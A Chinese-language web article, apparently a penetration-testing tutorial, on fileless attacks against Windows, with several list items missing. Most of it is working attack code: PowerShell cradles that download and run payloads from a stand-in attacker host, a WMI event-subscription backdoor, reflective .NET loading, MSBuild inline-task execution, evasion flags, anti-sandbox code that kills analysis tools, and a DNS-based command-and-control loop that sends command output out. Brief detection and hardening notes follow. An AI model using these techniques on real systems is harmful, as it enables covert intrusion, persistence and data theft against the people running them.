无文件攻击(Fileless Attack)本质上是一种不依赖传统文件落地的攻击技术,它直接利用系统内置工具或内存驻留技术实现攻击载荷的执行。在Web渗透测试中,这种技术能绕过传统杀软基于文件特征的检测机制,实现更高成功率的横向移动。
与传统攻击方式相比,无文件攻击具有三个典型特征:
在Web渗透场景中,攻击者通常通过以下路径实现无文件攻击:
实战经验:Windows系统自带的certutil.exe工具常被用来解码Base64格式的Payload,其命令行参数
-decode可绕过常见应用层防火墙的检测规则。
PowerShell的Invoke-Expression(IEX)配合.NET Reflection是实现无文件攻击的核心技术组合。典型攻击流程如下:
powershell复制# 从C2服务器获取经过Base64编码的Payload
$payload = (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
# 反射加载到内存执行
Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload)))
免杀技巧:
-WindowStyle Hidden -NonInteractive -ExecutionPolicy Bypass参数隐藏PowerShell窗口Get-Content env:var1+env:var2方式拼接执行Windows Management Instrumentation(WMI)的永久事件订阅功能可建立高隐蔽性后门:
powershell复制# 创建每60分钟触发一次的定时任务
$filterArgs = @{
EventNamespace = 'root\cimv2'
Name = 'UpdateFilter'
Query = "SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Minute = 0"
QueryLanguage = 'WQL'
}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs
# 绑定执行PowerShell内存加载动作
$consumerArgs = @{
Name = 'UpdateConsumer'
CommandLineTemplate = "powershell.exe -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $consumerArgs
# 建立绑定关系
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
}
检测要点:监控
root\subscription命名空间下的异常事件订阅,特别关注CommandLineEventConsumer类实例。
通过.NET反射机制直接将PE文件加载到内存执行:
csharp复制byte[] payload = DownloadPayload("http://attacker.com/loader.bin");
Assembly assembly = Assembly.Load(payload);
MethodInfo entryPoint = assembly.EntryPoint;
entryPoint.Invoke(null, new object[] { new string[] { } });
高级变种技术:
DynamicMethod在运行时生成IL代码GetDelegateForFunctionPointer将非托管代码转为委托执行利用MSBuild的内联任务功能实现代码执行:
xml复制<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Demo">
<ClassExample />
</Target>
<UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task {
public override bool Execute() {
System.Diagnostics.Process.Start("calc.exe");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
执行方式:
cmd复制msbuild.exe malicious.proj /nologo
| 检测维度 | 具体指标 | 检测工具示例 |
|---|---|---|
| 进程行为 | PowerShell调用Win32 API | Sysmon事件ID 1,7,10,11 |
| 网络通信 | 非标准端口上的SSL/TLS通信 | Zeek/OSSEC网络流量分析 |
| 内存特征 | 可疑的.NET反射调用栈 | Volatility框架插件 |
| 注册表变更 | 异常的WMI永久订阅项 | Autoruns/WMI Explorer |
| 日志特征 | 4688事件中的可疑命令行参数 | Windows事件日志分析 |
组策略配置建议:
Admin\Windows Components\Windows PowerShell)Computer Configuration\Windows Settings\Security Settings\WMI Control)内存保护技术:
现代无文件攻击常集成多种反分析技术:
powershell复制# 检测CPU核心数(虚拟机通常分配较少)
if ((Get-WmiObject Win32_ComputerSystem).NumberOfLogicalProcessors -lt 4) { exit }
# 检查调试器存在
if ([System.Diagnostics.Debugger]::IsAttached) { exit }
# 检测常见沙箱进程
$sandboxProcesses = @("vmtoolsd","vmwaretray","vboxservice","procmon","wireshark")
Get-Process | Where-Object { $sandboxProcesses -contains $_.ProcessName } | Stop-Process -Force
使用DNS TXT记录作为C2通道的示例:
powershell复制$domain = "malicious.example.com"
$cmd = (Resolve-DnsName -Type TXT -Name $domain).Strings
while($cmd -ne "exit") {
$output = iex $cmd 2>&1 | Out-String
$encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($output))
Invoke-WebRequest -Uri "http://$domain/log.php?data=$encoded" | Out-Null
Start-Sleep -Seconds 30
$cmd = (Resolve-DnsName -Type TXT -Name $domain).Strings
}
防御对策:
在真实攻防对抗中,攻击者会不断调整技术组合。建议防御方建立以下检测机制: